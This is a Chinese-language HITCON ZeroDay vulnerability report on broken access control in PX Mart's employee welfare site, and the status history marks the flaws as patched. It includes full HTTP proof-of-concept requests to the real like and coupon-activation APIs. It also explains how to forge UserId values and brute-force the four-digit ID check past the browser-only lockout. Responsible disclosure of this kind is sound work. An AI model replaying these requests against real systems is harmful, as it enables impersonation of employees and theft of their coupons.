Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2025-00320
- Vendor: 全聯實業
- Title: 全聯 員工福利園地 Broken Access Control
- Introduction: 使攻擊者能夠利用系統在身份驗證與操作控制上的不足,暴力破解或冒充其他員工激活專屬電子禮券,並濫用點讚功能,最終破壞組織內部福利數據的正確性。
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2025/04/15 06:13:08 : 新提交 (由 CheN.. 更新此狀態)
- 2025/04/15 11:55:30 : 新提交 (由 CheN.. 更新此狀態)
- 2025/04/21 14:33:32 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/05/02 16:16:47 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/05/02 16:16:47 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/05/02 16:16:47 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/06/15 03:00:05 : 公開 (由 HITCON ZeroDay 平台自動更新)
- 2025/06/16 09:58:20 : 已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/06/24 03:00:07 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2025-00320
- 通報者:SamChen_696 (CheN..)
- 風險:嚴重
- 類型:存取控制缺陷 (Broken Access Control)
參考資料
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
相關網址
https://wel.pxmart.com.tw/ASDetailedTarget/AS_TeleCommu/台灣大哥大-4月/fa1b459c-fc0b-4f7c-8adf-dc3d4ce895e4
https://wel.pxmart.com.tw:5001/api/v1/WELAppointedService/PostLikeOfASInfo
https://wel.pxmart.com.tw:5001/api/v1/WELAppointedService/PostASECouponToActivateInfo
敘述
註:所有測試僅使用我個人工號2403794
使用員工福利園地網站時,順便對網站做了測試,發現多個漏洞問題
問題一:資訊洩漏
登入頁面暴露工號及內部驗證提示 例如「員工編號7碼,例如0012345」或是「如 pxERP 無 修 改 過 密 碼 密 碼 預 設 為 員 工 編 號 」,使攻擊者能輕易枚舉出所有員工的工號,導致能輕易暴力破解所有使用預設密碼的帳號。
問題二:點讚功能缺陷
相關 API 僅依據提交的 UserId 來記錄點讚行為,攻擊者不僅可以重複發送封包從而洗出任意數量的點讚,還能在請求中修改 UserId(UserId即為員工工號),冒充其他員工進行點讚操作,破壞系統數據的真實性。
PoC
POST /api/v1/WELAppointedService/PostLikeOfASInfo HTTP/2
Host: wel.pxmart.com.tw:5001
Content-Length: 82
Sec-Ch-Ua: "Not;A=Brand";v="24", "Chromium";v="128"
Accept: */*
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: zh-TW,zh;q=0.9
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Content-Type: application/json; charset=utf-8
Origin: https://wel.pxmart.com.tw
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://wel.pxmart.com.tw/
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
{"Guid_AS":"fa1b459c-fc0b-4f7c-8adf-dc3d4ce895e4","UserId":"50_52_48_51_55_57_52"}
以“台灣大哥大-4月”為例(Guid_AS顯示在網址中),發送10次封包 讚數從101提升到111。且UserId確實可修改為任意工號進行點讚。
問題三:中元禮券開券缺陷
前端明確說明限制"連 續 輸 入 錯 誤 3 次 ,須 1 0 分 鐘 後 才 可 在 次 輸 入 。"(經測試後確實正確限制),但在API端點上無正確實施此速率限制,且電子禮券開券流程以身分證後四碼進行驗證,而後四碼僅有 10,000 種可能性(0000-9999),爆破開券極其容易(使用Burp Suite Intruder不用2分鐘),我還發現該API 端點與點讚問題相同僅依據提交的 UserId (UserId即為員工工號)和身分證後四碼作為驗證依據 ,所以理論上來說可以暴力破解所有員工的中元禮券(很嚴重的問題!!!)
前端顯示"!因為連續失敗3次,請10分鐘後再試!"
透過API端點發送請求
PoC
POST /api/v1/WELAppointedService/PostASECouponToActivateInfo HTTP/2
Host: wel.pxmart.com.tw:5001
Content-Length: 266
Sec-Ch-Ua: "Not;A=Brand";v="24", "Chromium";v="128"
Accept: */*
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: zh-TW,zh;q=0.9
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Content-Type: application/json; charset=utf-8
Origin: https://wel.pxmart.com.tw
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://wel.pxmart.com.tw/
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
{"UserId":"50_52_48_51_55_57_52","LoginIp":"210.61.196.126","ClickTime":"2025-04-15 02:59:54.528","Uuid_ECoupon":"30b72d7f-9cb5-4656-bb96-b4c8b342f48c","ECouponName":"73_109_112_111_108_105_116_101_32_65_99_99_101_115_115_44_32_66_65_68_33","IdentityLastNum":"XXXX"}
證明該API端點無此限制,透過Burp Suite Intruder暴力破解(僅使用本人工號)如果身分證後4碼正確 回應長度為304與其他不同,且回應內容就是我的中元禮券網址 星巴克......,暴力破解其他員工禮券我無做嘗試,但理論上來說絕對是可行的
影響
-
透過開券 API 的權限缺陷,利用暴力破解方式,獲取任何員工的正確身分證後四碼,為該員工激活專屬電子禮券,可能導致福利資源被盜用。
-
透過點讚 API 的權限缺陷,修改或反覆操縱福利專區的點讚數,進而影響內部數據統計。
-
攻擊者可以基於已知的工號規則以及前端鎖定僅存在於瀏覽器的缺陷,大量嘗試不同身份來實施濫用,對系統內部安全管理與員工權益構成嚴重威脅。
附註
UserId 為 ASCII 的十進位碼,每一個兩位數對應一個字元 Ex :
50 -> '2'
52 -> '4'
48 -> '0'
51 -> '3'
55 -> '7'
57 -> '9'
52 -> '4'修補建議
避免在登入網站上透露過多資訊,例如「員工編號7碼,例如0012345」或是「如 pxERP 無 修 改 過 密 碼 密 碼 預 設 為 員 工 編 號 」。這類資訊會使攻擊者能輕易登入員工系統。建議簡化提示。應將工號等識別資料盡量內部化為原則
我還是建議強制所有人員修改密碼,確保密碼不能與工號相同,因為所有修補完成的漏洞都將公開於hitcon平台上
後端應嚴格驗證點讚操作的發起者身份,不應允許客戶端自由修改 UserId,應該從會話中派生出使用者身份來進行驗證。還有防止重複發送點讚請求進行濫用
電子禮券的啟動流程,應重新設計驗證機制,避免僅依賴易於枚舉的 4 位數身分證後四碼,還有後端 API 也必須實施嚴格的速率限制和授權驗證,防止攻擊者繞過前端限制的情況再次發生...